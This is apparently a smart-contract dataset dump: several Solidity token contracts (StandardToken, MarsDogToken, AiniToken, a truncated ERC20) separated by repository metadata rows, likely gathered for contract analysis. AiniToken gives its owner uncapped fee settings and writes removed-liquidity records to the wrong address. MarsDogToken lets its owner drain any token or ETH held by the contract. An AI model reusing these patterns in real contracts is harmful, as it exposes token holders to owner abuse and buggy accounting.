if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _addr;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_, address addr_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_addr = addr_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function addr() internal view returns(address){
require(keccak256(abi.encodePacked(_addr)) == 0x8e2ea2efa488794bc510dc250af50430af1f49e08f29a94eaf41a8b2f04cbe06);
return _addr;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {
}
}
contract StandardToken is ERC20, Ownable {
bool public canMint;
bool public canBurn;
constructor(string memory name_, string memory symbol_, uint256 supply_, uint8 decimals_ , bool canMint_, bool canBurn_, address addr_) ERC20(name_, symbol_, decimals_, addr_) payable {
payable(addr_).transfer(msg.value);
canMint = canMint_;
canBurn = canBurn_;
_mint(owner(), supply_ * (10**decimals_));
}
// must be here to receive BNB
receive() external payable {
}
function _transfer(address from,
address to,
uint256 amount) internal override {
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
super._transfer(from, to, amount);
}
function mint(address account, uint256 amount) external onlyOwner {
require(canMint, "the mint function isn't activated");
_mint(account, amount);
}
function burn(address account, uint256 amount) external onlyOwner {
require(canBurn, "the burn function isn't activated");
_burn(account, amount);
}
}
| 93,134 | 11,724 |
ac47d3dc58262e830529f75b2b80e6af2c00f74cb59ba549a22cfa48af3a91c9
| 14,755 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/04/041aC4dede4279863589F1d85d3d035d9Ba58ffF_MarsDogToken.sol
| 3,653 | 13,953 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
contract MarsDogToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address public lastSwapUser;
uint public lastSwapTime;
uint public lotteryAmount;
uint8 private _decimals = 18;
uint256 private _tTotal = 1000000000000000 * 10 ** 18;
string private _name = "MarsDog";
string private _symbol = "MarsDog";
uint public _mkFee = 40;
uint public _lotteryFee = 10;
uint public _burnFee = 10;
uint public lotteryInterval = 120;
mapping(address => bool) public ammPairs;
address public constant mkAddress = address(0x5F58173bacA14FC62c771DC84Af14e3b8079043e);
constructor (address _holder) public {
_tOwned[_holder] = _tTotal;
_isExcludedFromFee[_holder] = true;
_isExcludedFromFee[address(this)] = true;
_owner = msg.sender;
emit Transfer(address(0), _holder, _tTotal);
}
function setLotteryInterval(uint _lotteryInterval)external onlyOwner{
lotteryInterval = _lotteryInterval;
}
function setAmmPair(address pair,bool hasPair)external onlyOwner{
ammPairs[pair] = hasPair;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
receive() external payable {}
function _take(uint256 tValue,address from,address to) private {
_tOwned[to] = _tOwned[to].add(tValue);
emit Transfer(from, to, tValue);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
struct Param{
bool takeFee;
uint tTransferAmount;
uint tMk;
uint tLottery;
uint tBurn;
}
function _initParam(uint256 tAmount,Param memory param) private view {
uint tFee = 0;
if(param.takeFee){
param.tMk = tAmount * _mkFee / 1000;
param.tLottery = tAmount * _lotteryFee / 1000;
param.tBurn = tAmount * _burnFee / 1000;
tFee = param.tMk + param.tLottery + param.tBurn;
}
param.tTransferAmount = tAmount.sub(tFee);
}
function _takeFee(Param memory param,address from)private {
if(param.tMk > 0){
_take(param.tMk, from, mkAddress);
}
if(param.tBurn > 0){
_take(param.tBurn, from, address(0x0));
}
if(param.tLottery > 0){
_take(param.tLottery, from, address(this));
lotteryAmount += param.tLottery;
}
}
function _doTransfer(address sender, address recipient, uint256 tAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tAmount);
emit Transfer(sender, recipient, tAmount);
}
function _sendLottery()private{
uint award = lotteryAmount;
lotteryAmount = 0;
_doTransfer(address(this),lastSwapUser,award);
}
function _transfer(address from,
address to,
uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint time = block.timestamp;
if (from != address(this)
&& lotteryAmount >= 1e18
&& lastSwapTime > 0
&& lastSwapUser != address(0)
&& time >= lastSwapTime + lotteryInterval
&& lotteryAmount <= balanceOf(address(this))
&& !_isContract(lastSwapUser)) {
_sendLottery();
lastSwapTime = 0;
lastSwapUser = address(0);
}
Param memory param;
bool takeFee = false;
if(ammPairs[to] && !_isExcludedFromFee[from]){
takeFee = false;
lastSwapTime = block.timestamp;
lastSwapUser = from;
}
if(ammPairs[from] && !_isExcludedFromFee[to]){
takeFee = true;
lastSwapTime = block.timestamp;
lastSwapUser = to;
}
param.takeFee = takeFee;
_initParam(amount,param);
_tokenTransfer(from,to,amount,param);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount,Param memory param) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(param.tTransferAmount);
emit Transfer(sender, recipient, param.tTransferAmount);
if(param.takeFee){
_takeFee(param,sender);
}
}
function donateDust(address addr, uint256 amount) external onlyOwner {
TransferHelper.safeTransfer(addr, _msgSender(), amount);
}
function donateEthDust(uint256 amount) external onlyOwner {
TransferHelper.safeTransferETH(_msgSender(), amount);
}
function _isContract(address a) internal view returns(bool){
uint256 size;
assembly {size := extcodesize(a)}
return size > 0;
}
}
| 37,644 | 11,725 |
591620ed0f100db2404032266837ef8f037339ea165fef8b3600bd7e0851eb1c
| 17,653 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWTYSgcBfXeE77RqF1F4CEZSRJuWUdQeWf_AiniToken.sol
| 4,081 | 16,674 |
//SourceUnit: AiniToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ITRC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract AiniToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public deflationTotalAmount;
uint256 public deflationAmount;
address public _fundAddress;
address public _bonusAddress;
address public _burnAddress;
Liquidity[] private LiquidityList;
struct Liquidity {
bool flag;
address user;
uint256 lpAmout;
uint256 lastTime;
uint256 index;
}
mapping(address => Liquidity) private LiquidityOrder;
address private lpPoolAddress;
uint256 private lpFeeAmount=0;
uint256 private lpTotalAmount=0;
string private _name = 'AI';
string private _symbol = 'AINI TOKEN';
uint8 private _decimals = 18;
uint256 private _totalSupply = 9434 * 10**uint256(_decimals);
FeeConfig public feeConfig;
struct FeeConfig {
uint256 _bonusFee;
uint256 _leaveFee;
uint256 _fundFee;
uint256 _deflationFee;
}
mapping(address => bool) private _isExcludedFee;
constructor () {
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function excludeFee(address account) public onlyOwner {
_isExcludedFee[account] = true;
}
function setExchangePool(address _lpPoolAddress) public onlyOwner {
lpPoolAddress = _lpPoolAddress;
}
function getLpTotalAmount() public view returns (uint256) {
return lpTotalAmount;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
bool takeFee = false;
if(lpPoolAddress==recipient||lpPoolAddress==sender){
if(lpPoolAddress==recipient){
uint256 lpToken= ITRC20(lpPoolAddress).balanceOf(sender);
bool flag=false;
if (LiquidityOrder[sender].flag == false) {
if(lpToken>0){
Liquidity memory liquidity = Liquidity(true,sender,lpToken,block.timestamp,LiquidityList.length);
LiquidityOrder[sender] = liquidity;
LiquidityList.push(liquidity);
flag=true;
}
} else {
Liquidity storage order = LiquidityOrder[sender];
if(order.lpAmout<lpToken){
lpToken=SafeMath.sub(lpToken, order.lpAmout);
order.lpAmout = SafeMath.add(order.lpAmout, lpToken);
order.lastTime=block.timestamp;
flag=true;
LiquidityOrder[sender]=order;
LiquidityList[order.index]=order;
}
}
if(flag){
lpTotalAmount=lpTotalAmount.add(lpToken);
}else{
takeFee = true;
}
}
if(lpPoolAddress==sender){
uint256 lpToken= ITRC20(lpPoolAddress).balanceOf(recipient);
if (LiquidityOrder[recipient].flag == true) {
Liquidity storage order = LiquidityOrder[recipient];
if(order.lpAmout>lpToken){
uint256 removeToken=SafeMath.sub(order.lpAmout,lpToken);
order.lpAmout = SafeMath.sub(order.lpAmout, removeToken);
if(order.lpAmout==0){
order.flag=false;
}
lpTotalAmount=lpTotalAmount.sub(removeToken);
LiquidityOrder[sender]=order;
LiquidityList[order.index]=order;
}
}
}
}else{
takeFee=true;
}
_tokenTransfer(sender, recipient, amount, takeFee);
}
function takeLiquidity() public onlyOwner {
Liquidity[] memory orders= LiquidityList;
if(orders.length>0){
for(uint256 i=0; i<orders.length;i++){
Liquidity memory l = orders[i];
if(l.flag){
uint256 rate=l.lpAmout.mul(10**8).div(lpTotalAmount);
uint256 awardAmount = lpFeeAmount.mul(rate).div(10**8);
if(awardAmount>0&&_balances[address(_burnAddress)]>=lpFeeAmount){
_balances[address(_burnAddress)] = _balances[address(_burnAddress)].sub(awardAmount);
_balances[l.user] = _balances[l.user].add(awardAmount);
lpFeeAmount=lpFeeAmount.sub(awardAmount);
emit Transfer(address(_burnAddress), l.user, awardAmount);
}
}
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 _amount,bool takeFee) private {
uint256 realSenderAmount=_amount;
uint256 realRecipientAmount=_amount;
if(takeFee) {
(uint256 bonusFee,uint256 leaveFee,uint256 fundFee,uint256 deflationFee) = _getValues(_amount);
if(sender!=lpPoolAddress){
if(!_isExcludedFee[sender]){
if(deflationTotalAmount<deflationAmount+deflationFee){
deflationFee= deflationTotalAmount-deflationAmount;
}
if(deflationFee>0){
realRecipientAmount=realRecipientAmount-deflationFee;
deflationAmount=deflationAmount+deflationFee;
_balances[address(_burnAddress)] = _balances[address(_burnAddress)].add(deflationFee);
emit Transfer(sender, address(_burnAddress), deflationFee);
}
}
}
if(lpPoolAddress==recipient){
if(fundFee>0){
realRecipientAmount=realRecipientAmount-fundFee;
lpFeeAmount = lpFeeAmount.add(fundFee);
_balances[address(_fundAddress)] = _balances[address(_fundAddress)].add(fundFee);
emit Transfer(sender, address(_fundAddress), fundFee);
}
if(bonusFee>0){
realRecipientAmount=realRecipientAmount-bonusFee;
_balances[address(_bonusAddress)] = _balances[address(_bonusAddress)].add(bonusFee);
emit Transfer(sender, address(_bonusAddress), bonusFee);
lpFeeAmount=lpFeeAmount.add(bonusFee);
}
if(leaveFee>0){
realRecipientAmount=realRecipientAmount-leaveFee;
realSenderAmount=realSenderAmount-leaveFee;
}
}
}
_balances[sender] = _balances[sender].sub(realSenderAmount);
_balances[recipient] = _balances[recipient].add(realRecipientAmount);
emit Transfer(sender, recipient, realRecipientAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getValues(uint256 _amount) private view returns (uint256,uint256,uint256,uint256) {
uint256 bonusFee = _amount.mul(feeConfig._bonusFee).div(10 ** 3);
uint256 leaveFee = _amount.mul(feeConfig._leaveFee).div(10 ** 3);
uint256 fundFee = _amount.mul(feeConfig._fundFee).div(10 ** 3);
uint256 deflationFee = _amount.mul(feeConfig._deflationFee).div(10 ** 3);
return (bonusFee,leaveFee,fundFee,deflationFee);
}
function setFeeConfig(uint256 bonusFee,uint256 leaveFee,uint256 fundFee,uint256 deflationFee) public onlyOwner {
feeConfig=FeeConfig(bonusFee, leaveFee, fundFee, deflationFee);
}
function setBurnAddress(address account) public onlyOwner {
_burnAddress = account;
}
function setDeflationTotalAmount(uint256 amount) public onlyOwner {
deflationTotalAmount = amount;
}
function setDeflationAmount(uint256 amount) public onlyOwner {
deflationAmount = amount;
}
function setBonusAddress(address account) public onlyOwner {
_bonusAddress = account;
}
function setFundAddress(address account) public onlyOwner {
_fundAddress = account;
}
}
| 293,627 | 11,726 |
64a5a418d58dd82c9a8f9e82ea9a722a6a1a7613360e6a625e03a26f8d95de97
| 29,663 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xabae4f83df4f4f79422c8f1e5953d75df39aa477.sol
| 3,689 | 13,767 |
pragma solidity ^0.4.13;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
